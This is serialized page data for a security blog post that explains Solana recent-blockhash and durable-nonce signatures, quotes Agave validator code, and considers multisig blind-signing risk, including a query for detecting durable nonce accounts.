Solana.","2025-02-22",{"src":69941,"width":8116,"height":8117},"/posts/multisig-security/title.png",[5636],{"type":18,"children":69944,"toc":71762},[69945,69958,69964,69969,69975,69988,69996,70009,70069,70091,70218,70223,70236,70248,70254,70268,70281,70295,70777,70782,70790,70804,70818,70957,70969,70975,70980,70998,71003,71008,71029,71313,71328,71516,71529,71658,71663,71668,71673,71701,71707,71712,71726,71758],{"type":21,"tag":22,"props":69946,"children":69947},{},[69948,69949,69956],{"type":26,"value":19311},{"type":21,"tag":29,"props":69950,"children":69953},{"href":69951,"rel":69952},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[33],[69954],{"type":26,"value":69955},"Bybit hack",{"type":26,"value":69957}," raises an interesting question: what can teams do if their signers are compromised?",{"type":21,"tag":66,"props":69959,"children":69961},{"id":69960},"solana-signatures",[69962],{"type":26,"value":69963},"Solana Signatures",{"type":21,"tag":22,"props":69965,"children":69966},{},[69967],{"type":26,"value":69968},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":21,"tag":114,"props":69970,"children":69972},{"id":69971},"recent-blockhash",[69973],{"type":26,"value":69974},"Recent Blockhash",{"type":21,"tag":22,"props":69976,"children":69977},{},[69978,69980,69987],{"type":26,"value":69979},"The most straightforward is with a \"recent blockhash\". From ",{"type":21,"tag":29,"props":69981,"children":69984},{"href":69982,"rel":69983},"https://solana.com/developers/guides/advanced/confirmation",[33],[69985],{"type":26,"value":69986},"the docs",{"type":26,"value":201},{"type":21,"tag":5689,"props":69989,"children":69990},{},[69991],{"type":21,"tag":22,"props":69992,"children":69993},{},[69994],{"type":26,"value":69995},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":21,"tag":22,"props":69997,"children":69998},{},[69999,70001,70008],{"type":26,"value":70000},"The actual constant ",{"type":21,"tag":29,"props":70002,"children":70005},{"href":70003,"rel":70004},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[33],[70006],{"type":26,"value":70007},"is defined here",{"type":26,"value":355},{"type":21,"tag":143,"props":70010,"children":70012},{"className":145,"code":70011,"language":147,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[70013],{"type":21,"tag":78,"props":70014,"children":70015},{"__ignoreMap":7},[70016,70024],{"type":21,"tag":153,"props":70017,"children":70018},{"class":155,"line":156},[70019],{"type":21,"tag":153,"props":70020,"children":70021},{"style":3050},[70022],{"type":26,"value":70023},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":21,"tag":153,"props":70025,"children":70026},{"class":155,"line":166},[70027,70031,70035,70040,70044,70048,70052,70057,70061,70065],{"type":21,"tag":153,"props":70028,"children":70029},{"style":170},[70030],{"type":26,"value":173},{"type":21,"tag":153,"props":70032,"children":70033},{"style":170},[70034],{"type":26,"value":41802},{"type":21,"tag":153,"props":70036,"children":70037},{"style":160},[70038],{"type":26,"value":70039}," MAX_PROCESSING_AGE",{"type":21,"tag":153,"props":70041,"children":70042},{"style":198},[70043],{"type":26,"value":201},{"type":21,"tag":153,"props":70045,"children":70046},{"style":214},[70047],{"type":26,"value":16445},{"type":21,"tag":153,"props":70049,"children":70050},{"style":198},[70051],{"type":26,"value":255},{"type":21,"tag":153,"props":70053,"children":70054},{"style":160},[70055],{"type":26,"value":70056}," MAX_RECENT_BLOCKHASHES ",{"type":21,"tag":153,"props":70058,"children":70059},{"style":198},[70060],{"type":26,"value":7310},{"type":21,"tag":153,"props":70062,"children":70063},{"style":300},[70064],{"type":26,"value":10661},{"type":21,"tag":153,"props":70066,"children":70067},{"style":160},[70068],{"type":26,"value":1759},{"type":21,"tag":22,"props":70070,"children":70071},{},[70072,70074,70081,70083,70089],{"type":26,"value":70073},"For those curious, the logic ",{"type":21,"tag":29,"props":70075,"children":70078},{"href":70076,"rel":70077},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[33],[70079],{"type":26,"value":70080},"starts here",{"type":26,"value":70082}," and is quite straightforward to follow, ending in a ",{"type":21,"tag":78,"props":70084,"children":70086},{"className":70085},[],[70087],{"type":26,"value":70088},"is_hash_index_valid",{"type":26,"value":70090}," check.",{"type":21,"tag":143,"props":70092,"children":70094},{"className":145,"code":70093,"language":147,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[70095],{"type":21,"tag":78,"props":70096,"children":70097},{"__ignoreMap":7},[70098,70177,70211],{"type":21,"tag":153,"props":70099,"children":70100},{"class":155,"line":156},[70101,70105,70110,70114,70119,70123,70127,70131,70136,70140,70144,70148,70153,70157,70161,70165,70169,70173],{"type":21,"tag":153,"props":70102,"children":70103},{"style":170},[70104],{"type":26,"value":1000},{"type":21,"tag":153,"props":70106,"children":70107},{"style":181},[70108],{"type":26,"value":70109}," is_hash_index_valid",{"type":21,"tag":153,"props":70111,"children":70112},{"style":160},[70113],{"type":26,"value":189},{"type":21,"tag":153,"props":70115,"children":70116},{"style":192},[70117],{"type":26,"value":70118},"last_hash_index",{"type":21,"tag":153,"props":70120,"children":70121},{"style":198},[70122],{"type":26,"value":201},{"type":21,"tag":153,"props":70124,"children":70125},{"style":214},[70126],{"type":26,"value":323},{"type":21,"tag":153,"props":70128,"children":70129},{"style":160},[70130],{"type":26,"value":1670},{"type":21,"tag":153,"props":70132,"children":70133},{"style":192},[70134],{"type":26,"value":70135},"max_age",{"type":21,"tag":153,"props":70137,"children":70138},{"style":198},[70139],{"type":26,"value":201},{"type":21,"tag":153,"props":70141,"children":70142},{"style":214},[70143],{"type":26,"value":16445},{"type":21,"tag":153,"props":70145,"children":70146},{"style":160},[70147],{"type":26,"value":1670},{"type":21,"tag":153,"props":70149,"children":70150},{"style":192},[70151],{"type":26,"value":70152},"hash_index",{"type":21,"tag":153,"props":70154,"children":70155},{"style":198},[70156],{"type":26,"value":201},{"type":21,"tag":153,"props":70158,"children":70159},{"style":214},[70160],{"type":26,"value":323},{"type":21,"tag":153,"props":70162,"children":70163},{"style":160},[70164],{"type":26,"value":2362},{"type":21,"tag":153,"props":70166,"children":70167},{"style":198},[70168],{"type":26,"value":2953},{"type":21,"tag":153,"props":70170,"children":70171},{"style":214},[70172],{"type":26,"value":14769},{"type":21,"tag":153,"props":70174,"children":70175},{"style":160},[70176],{"type":26,"value":236},{"type":21,"tag":153,"props":70178,"children":70179},{"class":155,"line":166},[70180,70185,70189,70194,70198,70203,70207],{"type":21,"tag":153,"props":70181,"children":70182},{"style":192},[70183],{"type":26,"value":70184},"    last_hash_index",{"type":21,"tag":153,"props":70186,"children":70187},{"style":198},[70188],{"type":26,"value":53546},{"type":21,"tag":153,"props":70190,"children":70191},{"style":192},[70192],{"type":26,"value":70193}," hash_index",{"type":21,"tag":153,"props":70195,"children":70196},{"style":198},[70197],{"type":26,"value":10923},{"type":21,"tag":153,"props":70199,"children":70200},{"style":192},[70201],{"type":26,"value":70202}," max_age",{"type":21,"tag":153,"props":70204,"children":70205},{"style":170},[70206],{"type":26,"value":11553},{"type":21,"tag":153,"props":70208,"children":70209},{"style":214},[70210],{"type":26,"value":5187},{"type":21,"tag":153,"props":70212,"children":70213},{"class":155,"line":225},[70214],{"type":21,"tag":153,"props":70215,"children":70216},{"style":160},[70217],{"type":26,"value":548},{"type":21,"tag":22,"props":70219,"children":70220},{},[70221],{"type":26,"value":70222},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":21,"tag":5689,"props":70224,"children":70225},{},[70226],{"type":21,"tag":22,"props":70227,"children":70228},{},[70229,70231],{"type":26,"value":70230},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":21,"tag":8055,"props":70232,"children":70233},{},[70234],{"type":26,"value":70235},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":21,"tag":22,"props":70237,"children":70238},{},[70239,70241,70246],{"type":26,"value":70240},"This means an attacker ",{"type":21,"tag":5302,"props":70242,"children":70243},{},[70244],{"type":26,"value":70245},"must use",{"type":26,"value":70247}," a malicious signed transaction within a short timeframe.",{"type":21,"tag":114,"props":70249,"children":70251},{"id":70250},"durable-nonce",[70252],{"type":26,"value":70253},"Durable Nonce",{"type":21,"tag":22,"props":70255,"children":70256},{},[70257,70259,70266],{"type":26,"value":70258},"The second type of signature ",{"type":21,"tag":29,"props":70260,"children":70263},{"href":70261,"rel":70262},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[33],[70264],{"type":26,"value":70265},"is a durable nonce",{"type":26,"value":70267},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":21,"tag":5689,"props":70269,"children":70270},{},[70271],{"type":21,"tag":22,"props":70272,"children":70273},{},[70274,70276],{"type":26,"value":70275},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":21,"tag":8055,"props":70277,"children":70278},{},[70279],{"type":26,"value":70280},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":21,"tag":22,"props":70282,"children":70283},{},[70284,70286,70293],{"type":26,"value":70285},"If we examine the code ",{"type":21,"tag":29,"props":70287,"children":70290},{"href":70288,"rel":70289},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[33],[70291],{"type":26,"value":70292},"for recent blockhash validation",{"type":26,"value":70294},", we can also see the handling for durable nonces.",{"type":21,"tag":143,"props":70296,"children":70298},{"className":145,"code":70297,"language":147,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[70299],{"type":21,"tag":78,"props":70300,"children":70301},{"__ignoreMap":7},[70302,70349,70415,70435,70455,70485,70493,70547,70564,70584,70596,70608,70616,70623,70642,70669,70689,70696,70711,70741,70770],{"type":21,"tag":153,"props":70303,"children":70304},{"class":155,"line":156},[70305,70309,70314,70318,70323,70327,70332,70336,70340,70345],{"type":21,"tag":153,"props":70306,"children":70307},{"style":170},[70308],{"type":26,"value":629},{"type":21,"tag":153,"props":70310,"children":70311},{"style":192},[70312],{"type":26,"value":70313}," recent_blockhash",{"type":21,"tag":153,"props":70315,"children":70316},{"style":198},[70317],{"type":26,"value":255},{"type":21,"tag":153,"props":70319,"children":70320},{"style":192},[70321],{"type":26,"value":70322}," tx",{"type":21,"tag":153,"props":70324,"children":70325},{"style":198},[70326],{"type":26,"value":355},{"type":21,"tag":153,"props":70328,"children":70329},{"style":181},[70330],{"type":26,"value":70331},"message",{"type":21,"tag":153,"props":70333,"children":70334},{"style":160},[70335],{"type":26,"value":365},{"type":21,"tag":153,"props":70337,"children":70338},{"style":198},[70339],{"type":26,"value":355},{"type":21,"tag":153,"props":70341,"children":70342},{"style":181},[70343],{"type":26,"value":70344},"recent_blockhash",{"type":21,"tag":153,"props":70346,"children":70347},{"style":160},[70348],{"type":26,"value":839},{"type":21,"tag":153,"props":70350,"children":70351},{"class":155,"line":166},[70352,70356,70360,70364,70368,70373,70377,70381,70386,70390,70395,70399,70403,70407,70411],{"type":21,"tag":153,"props":70353,"children":70354},{"style":1751},[70355],{"type":26,"value":2434},{"type":21,"tag":153,"props":70357,"children":70358},{"style":170},[70359],{"type":26,"value":2343},{"type":21,"tag":153,"props":70361,"children":70362},{"style":214},[70363],{"type":26,"value":2348},{"type":21,"tag":153,"props":70365,"children":70366},{"style":160},[70367],{"type":26,"value":189},{"type":21,"tag":153,"props":70369,"children":70370},{"style":192},[70371],{"type":26,"value":70372},"hash_info",{"type":21,"tag":153,"props":70374,"children":70375},{"style":160},[70376],{"type":26,"value":2362},{"type":21,"tag":153,"props":70378,"children":70379},{"style":198},[70380],{"type":26,"value":2367},{"type":21,"tag":153,"props":70382,"children":70383},{"style":192},[70384],{"type":26,"value":70385}," hash_queue",{"type":21,"tag":153,"props":70387,"children":70388},{"style":198},[70389],{"type":26,"value":355},{"type":21,"tag":153,"props":70391,"children":70392},{"style":181},[70393],{"type":26,"value":70394},"get_hash_info_if_valid",{"type":21,"tag":153,"props":70396,"children":70397},{"style":160},[70398],{"type":26,"value":189},{"type":21,"tag":153,"props":70400,"children":70401},{"style":192},[70402],{"type":26,"value":70344},{"type":21,"tag":153,"props":70404,"children":70405},{"style":160},[70406],{"type":26,"value":1670},{"type":21,"tag":153,"props":70408,"children":70409},{"style":192},[70410],{"type":26,"value":70135},{"type":21,"tag":153,"props":70412,"children":70413},{"style":160},[70414],{"type":26,"value":2659},{"type":21,"tag":153,"props":70416,"children":70417},{"class":155,"line":225},[70418,70422,70426,70431],{"type":21,"tag":153,"props":70419,"children":70420},{"style":214},[70421],{"type":26,"value":17514},{"type":21,"tag":153,"props":70423,"children":70424},{"style":160},[70425],{"type":26,"value":189},{"type":21,"tag":153,"props":70427,"children":70428},{"style":214},[70429],{"type":26,"value":70430},"CheckedTransactionDetails",{"type":21,"tag":153,"props":70432,"children":70433},{"style":160},[70434],{"type":26,"value":236},{"type":21,"tag":153,"props":70436,"children":70437},{"class":155,"line":239},[70438,70443,70447,70451],{"type":21,"tag":153,"props":70439,"children":70440},{"style":192},[70441],{"type":26,"value":70442},"            nonce",{"type":21,"tag":153,"props":70444,"children":70445},{"style":198},[70446],{"type":26,"value":201},{"type":21,"tag":153,"props":70448,"children":70449},{"style":214},[70450],{"type":26,"value":30452},{"type":21,"tag":153,"props":70452,"children":70453},{"style":160},[70454],{"type":26,"value":792},{"type":21,"tag":153,"props":70456,"children":70457},{"class":155,"line":382},[70458,70463,70467,70472,70476,70481],{"type":21,"tag":153,"props":70459,"children":70460},{"style":192},[70461],{"type":26,"value":70462},"            lamports_per_signature",{"type":21,"tag":153,"props":70464,"children":70465},{"style":198},[70466],{"type":26,"value":201},{"type":21,"tag":153,"props":70468,"children":70469},{"style":192},[70470],{"type":26,"value":70471}," hash_info",{"type":21,"tag":153,"props":70473,"children":70474},{"style":198},[70475],{"type":26,"value":355},{"type":21,"tag":153,"props":70477,"children":70478},{"style":181},[70479],{"type":26,"value":70480},"lamports_per_signature",{"type":21,"tag":153,"props":70482,"children":70483},{"style":160},[70484],{"type":26,"value":721},{"type":21,"tag":153,"props":70486,"children":70487},{"class":155,"line":501},[70488],{"type":21,"tag":153,"props":70489,"children":70490},{"style":160},[70491],{"type":26,"value":70492},"        })\n",{"type":21,"tag":153,"props":70494,"children":70495},{"class":155,"line":533},[70496,70500,70504,70508,70512,70516,70520,70525,70529,70534,70538,70542],{"type":21,"tag":153,"props":70497,"children":70498},{"style":160},[70499],{"type":26,"value":18476},{"type":21,"tag":153,"props":70501,"children":70502},{"style":1751},[70503],{"type":26,"value":2717},{"type":21,"tag":153,"props":70505,"children":70506},{"style":1751},[70507],{"type":26,"value":18485},{"type":21,"tag":153,"props":70509,"children":70510},{"style":170},[70511],{"type":26,"value":2343},{"type":21,"tag":153,"props":70513,"children":70514},{"style":214},[70515],{"type":26,"value":2348},{"type":21,"tag":153,"props":70517,"children":70518},{"style":160},[70519],{"type":26,"value":34218},{"type":21,"tag":153,"props":70521,"children":70522},{"style":192},[70523],{"type":26,"value":70524},"nonce",{"type":21,"tag":153,"props":70526,"children":70527},{"style":160},[70528],{"type":26,"value":1670},{"type":21,"tag":153,"props":70530,"children":70531},{"style":192},[70532],{"type":26,"value":70533},"previous_lamports_per_signature",{"type":21,"tag":153,"props":70535,"children":70536},{"style":160},[70537],{"type":26,"value":11562},{"type":21,"tag":153,"props":70539,"children":70540},{"style":198},[70541],{"type":26,"value":2367},{"type":21,"tag":153,"props":70543,"children":70544},{"style":170},[70545],{"type":26,"value":70546}," self\n",{"type":21,"tag":153,"props":70548,"children":70549},{"class":155,"line":542},[70550,70555,70560],{"type":21,"tag":153,"props":70551,"children":70552},{"style":198},[70553],{"type":26,"value":70554},"        .",{"type":21,"tag":153,"props":70556,"children":70557},{"style":181},[70558],{"type":26,"value":70559},"check_load_and_advance_message_nonce_account",{"type":21,"tag":153,"props":70561,"children":70562},{"style":160},[70563],{"type":26,"value":773},{"type":21,"tag":153,"props":70565,"children":70566},{"class":155,"line":762},[70567,70572,70576,70580],{"type":21,"tag":153,"props":70568,"children":70569},{"style":192},[70570],{"type":26,"value":70571},"            tx",{"type":21,"tag":153,"props":70573,"children":70574},{"style":198},[70575],{"type":26,"value":355},{"type":21,"tag":153,"props":70577,"children":70578},{"style":181},[70579],{"type":26,"value":70331},{"type":21,"tag":153,"props":70581,"children":70582},{"style":160},[70583],{"type":26,"value":721},{"type":21,"tag":153,"props":70585,"children":70586},{"class":155,"line":776},[70587,70592],{"type":21,"tag":153,"props":70588,"children":70589},{"style":192},[70590],{"type":26,"value":70591},"            next_durable_nonce",{"type":21,"tag":153,"props":70593,"children":70594},{"style":160},[70595],{"type":26,"value":792},{"type":21,"tag":153,"props":70597,"children":70598},{"class":155,"line":795},[70599,70604],{"type":21,"tag":153,"props":70600,"children":70601},{"style":192},[70602],{"type":26,"value":70603},"            next_lamports_per_signature",{"type":21,"tag":153,"props":70605,"children":70606},{"style":160},[70607],{"type":26,"value":792},{"type":21,"tag":153,"props":70609,"children":70610},{"class":155,"line":808},[70611],{"type":21,"tag":153,"props":70612,"children":70613},{"style":160},[70614],{"type":26,"value":70615},"        )\n",{"type":21,"tag":153,"props":70617,"children":70618},{"class":155,"line":820},[70619],{"type":21,"tag":153,"props":70620,"children":70621},{"style":160},[70622],{"type":26,"value":2562},{"type":21,"tag":153,"props":70624,"children":70625},{"class":155,"line":842},[70626,70630,70634,70638],{"type":21,"tag":153,"props":70627,"children":70628},{"style":214},[70629],{"type":26,"value":17514},{"type":21,"tag":153,"props":70631,"children":70632},{"style":160},[70633],{"type":26,"value":189},{"type":21,"tag":153,"props":70635,"children":70636},{"style":214},[70637],{"type":26,"value":70430},{"type":21,"tag":153,"props":70639,"children":70640},{"style":160},[70641],{"type":26,"value":236},{"type":21,"tag":153,"props":70643,"children":70644},{"class":155,"line":3204},[70645,70649,70653,70657,70661,70665],{"type":21,"tag":153,"props":70646,"children":70647},{"style":192},[70648],{"type":26,"value":70442},{"type":21,"tag":153,"props":70650,"children":70651},{"style":198},[70652],{"type":26,"value":201},{"type":21,"tag":153,"props":70654,"children":70655},{"style":214},[70656],{"type":26,"value":2348},{"type":21,"tag":153,"props":70658,"children":70659},{"style":160},[70660],{"type":26,"value":189},{"type":21,"tag":153,"props":70662,"children":70663},{"style":192},[70664],{"type":26,"value":70524},{"type":21,"tag":153,"props":70666,"children":70667},{"style":160},[70668],{"type":26,"value":679},{"type":21,"tag":153,"props":70670,"children":70671},{"class":155,"line":3230},[70672,70676,70680,70685],{"type":21,"tag":153,"props":70673,"children":70674},{"style":192},[70675],{"type":26,"value":70462},{"type":21,"tag":153,"props":70677,"children":70678},{"style":198},[70679],{"type":26,"value":201},{"type":21,"tag":153,"props":70681,"children":70682},{"style":192},[70683],{"type":26,"value":70684}," previous_lamports_per_signature",{"type":21,"tag":153,"props":70686,"children":70687},{"style":160},[70688],{"type":26,"value":792},{"type":21,"tag":153,"props":70690,"children":70691},{"class":155,"line":3239},[70692],{"type":21,"tag":153,"props":70693,"children":70694},{"style":160},[70695],{"type":26,"value":70492},{"type":21,"tag":153,"props":70697,"children":70698},{"class":155,"line":3253},[70699,70703,70707],{"type":21,"tag":153,"props":70700,"children":70701},{"style":160},[70702],{"type":26,"value":18476},{"type":21,"tag":153,"props":70704,"children":70705},{"style":1751},[70706],{"type":26,"value":2717},{"type":21,"tag":153,"props":70708,"children":70709},{"style":160},[70710],{"type":26,"value":236},{"type":21,"tag":153,"props":70712,"children":70713},{"class":155,"line":3301},[70714,70719,70723,70728,70733,70737],{"type":21,"tag":153,"props":70715,"children":70716},{"style":192},[70717],{"type":26,"value":70718},"        error_counters",{"type":21,"tag":153,"props":70720,"children":70721},{"style":198},[70722],{"type":26,"value":355},{"type":21,"tag":153,"props":70724,"children":70725},{"style":160},[70726],{"type":26,"value":70727},"blockhash_not_found ",{"type":21,"tag":153,"props":70729,"children":70730},{"style":198},[70731],{"type":26,"value":70732},"+=",{"type":21,"tag":153,"props":70734,"children":70735},{"style":300},[70736],{"type":26,"value":7253},{"type":21,"tag":153,"props":70738,"children":70739},{"style":160},[70740],{"type":26,"value":1759},{"type":21,"tag":153,"props":70742,"children":70743},{"class":155,"line":3346},[70744,70748,70752,70757,70761,70766],{"type":21,"tag":153,"props":70745,"children":70746},{"style":214},[70747],{"type":26,"value":17557},{"type":21,"tag":153,"props":70749,"children":70750},{"style":160},[70751],{"type":26,"value":189},{"type":21,"tag":153,"props":70753,"children":70754},{"style":214},[70755],{"type":26,"value":70756},"TransactionError",{"type":21,"tag":153,"props":70758,"children":70759},{"style":198},[70760],{"type":26,"value":265},{"type":21,"tag":153,"props":70762,"children":70763},{"style":214},[70764],{"type":26,"value":70765},"BlockhashNotFound",{"type":21,"tag":153,"props":70767,"children":70768},{"style":160},[70769],{"type":26,"value":5909},{"type":21,"tag":153,"props":70771,"children":70772},{"class":155,"line":3355},[70773],{"type":21,"tag":153,"props":70774,"children":70775},{"style":160},[70776],{"type":26,"value":539},{"type":21,"tag":22,"props":70778,"children":70779},{},[70780],{"type":26,"value":70781},"The documentation does a good job of explaining how they work.",{"type":21,"tag":5689,"props":70783,"children":70784},{},[70785],{"type":21,"tag":22,"props":70786,"children":70787},{},[70788],{"type":26,"value":70789},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":21,"tag":22,"props":70791,"children":70792},{},[70793,70795,70802],{"type":26,"value":70794},"Durable nonces are created and managed ",{"type":21,"tag":29,"props":70796,"children":70799},{"href":70797,"rel":70798},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[33],[70800],{"type":26,"value":70801},"by the system program",{"type":26,"value":70803},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":21,"tag":22,"props":70805,"children":70806},{},[70807,70809,70816],{"type":26,"value":70808},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":21,"tag":29,"props":70810,"children":70813},{"href":70811,"rel":70812},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[33],[70814],{"type":26,"value":70815},"based on the current blockhash",{"type":26,"value":70817},", and cannot be predicted in advance.",{"type":21,"tag":143,"props":70819,"children":70821},{"className":145,"code":70820,"language":147,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[70822],{"type":21,"tag":78,"props":70823,"children":70824},{"__ignoreMap":7},[70825,70877,70910],{"type":21,"tag":153,"props":70826,"children":70827},{"class":155,"line":156},[70828,70832,70836,70840,70844,70848,70853,70857,70861,70865,70869,70873],{"type":21,"tag":153,"props":70829,"children":70830},{"style":170},[70831],{"type":26,"value":629},{"type":21,"tag":153,"props":70833,"children":70834},{"style":192},[70835],{"type":26,"value":70385},{"type":21,"tag":153,"props":70837,"children":70838},{"style":198},[70839],{"type":26,"value":255},{"type":21,"tag":153,"props":70841,"children":70842},{"style":170},[70843],{"type":26,"value":16510},{"type":21,"tag":153,"props":70845,"children":70846},{"style":198},[70847],{"type":26,"value":355},{"type":21,"tag":153,"props":70849,"children":70850},{"style":160},[70851],{"type":26,"value":70852},"blockhash_queue",{"type":21,"tag":153,"props":70854,"children":70855},{"style":198},[70856],{"type":26,"value":355},{"type":21,"tag":153,"props":70858,"children":70859},{"style":181},[70860],{"type":26,"value":62933},{"type":21,"tag":153,"props":70862,"children":70863},{"style":160},[70864],{"type":26,"value":365},{"type":21,"tag":153,"props":70866,"children":70867},{"style":198},[70868],{"type":26,"value":355},{"type":21,"tag":153,"props":70870,"children":70871},{"style":181},[70872],{"type":26,"value":374},{"type":21,"tag":153,"props":70874,"children":70875},{"style":160},[70876],{"type":26,"value":839},{"type":21,"tag":153,"props":70878,"children":70879},{"class":155,"line":166},[70880,70884,70889,70893,70897,70901,70906],{"type":21,"tag":153,"props":70881,"children":70882},{"style":170},[70883],{"type":26,"value":629},{"type":21,"tag":153,"props":70885,"children":70886},{"style":192},[70887],{"type":26,"value":70888}," last_blockhash",{"type":21,"tag":153,"props":70890,"children":70891},{"style":198},[70892],{"type":26,"value":255},{"type":21,"tag":153,"props":70894,"children":70895},{"style":192},[70896],{"type":26,"value":70385},{"type":21,"tag":153,"props":70898,"children":70899},{"style":198},[70900],{"type":26,"value":355},{"type":21,"tag":153,"props":70902,"children":70903},{"style":181},[70904],{"type":26,"value":70905},"last_hash",{"type":21,"tag":153,"props":70907,"children":70908},{"style":160},[70909],{"type":26,"value":839},{"type":21,"tag":153,"props":70911,"children":70912},{"class":155,"line":225},[70913,70917,70922,70926,70931,70935,70940,70944,70948,70953],{"type":21,"tag":153,"props":70914,"children":70915},{"style":170},[70916],{"type":26,"value":629},{"type":21,"tag":153,"props":70918,"children":70919},{"style":192},[70920],{"type":26,"value":70921}," next_durable_nonce",{"type":21,"tag":153,"props":70923,"children":70924},{"style":198},[70925],{"type":26,"value":255},{"type":21,"tag":153,"props":70927,"children":70928},{"style":214},[70929],{"type":26,"value":70930}," DurableNonce",{"type":21,"tag":153,"props":70932,"children":70933},{"style":198},[70934],{"type":26,"value":265},{"type":21,"tag":153,"props":70936,"children":70937},{"style":181},[70938],{"type":26,"value":70939},"from_blockhash",{"type":21,"tag":153,"props":70941,"children":70942},{"style":160},[70943],{"type":26,"value":189},{"type":21,"tag":153,"props":70945,"children":70946},{"style":198},[70947],{"type":26,"value":1974},{"type":21,"tag":153,"props":70949,"children":70950},{"style":192},[70951],{"type":26,"value":70952},"last_blockhash",{"type":21,"tag":153,"props":70954,"children":70955},{"style":160},[70956],{"type":26,"value":530},{"type":21,"tag":22,"props":70958,"children":70959},{},[70960,70962,70967],{"type":26,"value":70961},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":21,"tag":5302,"props":70963,"children":70964},{},[70965],{"type":26,"value":70966},"can",{"type":26,"value":70968}," be saved and reused.",{"type":21,"tag":66,"props":70970,"children":70972},{"id":70971},"threat-model",[70973],{"type":26,"value":70974},"Threat Model",{"type":21,"tag":22,"props":70976,"children":70977},{},[70978],{"type":26,"value":70979},"Let's consider a simplified form of the original question.",{"type":21,"tag":126,"props":70981,"children":70982},{},[70983,70988,70993],{"type":21,"tag":91,"props":70984,"children":70985},{},[70986],{"type":26,"value":70987},"We have a N/M multisig",{"type":21,"tag":91,"props":70989,"children":70990},{},[70991],{"type":26,"value":70992},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":21,"tag":91,"props":70994,"children":70995},{},[70996],{"type":26,"value":70997},"We can accurately query chain state.",{"type":21,"tag":22,"props":70999,"children":71000},{},[71001],{"type":26,"value":71002},"Can we safely sign transactions?",{"type":21,"tag":22,"props":71004,"children":71005},{},[71006],{"type":26,"value":71007},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":21,"tag":22,"props":71009,"children":71010},{},[71011,71013,71019,71021,71028],{"type":26,"value":71012},"Durable nonces require an onchain account, and it's possible to use a ",{"type":21,"tag":78,"props":71014,"children":71016},{"className":71015},[],[71017],{"type":26,"value":71018},"getProgramAccounts",{"type":26,"value":71020}," call to validate if your signer ",{"type":21,"tag":29,"props":71022,"children":71025},{"href":71023,"rel":71024},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[33],[71026],{"type":26,"value":71027},"has an associated durable nonce",{"type":26,"value":355},{"type":21,"tag":143,"props":71030,"children":71032},{"className":38623,"code":71031,"language":38625,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  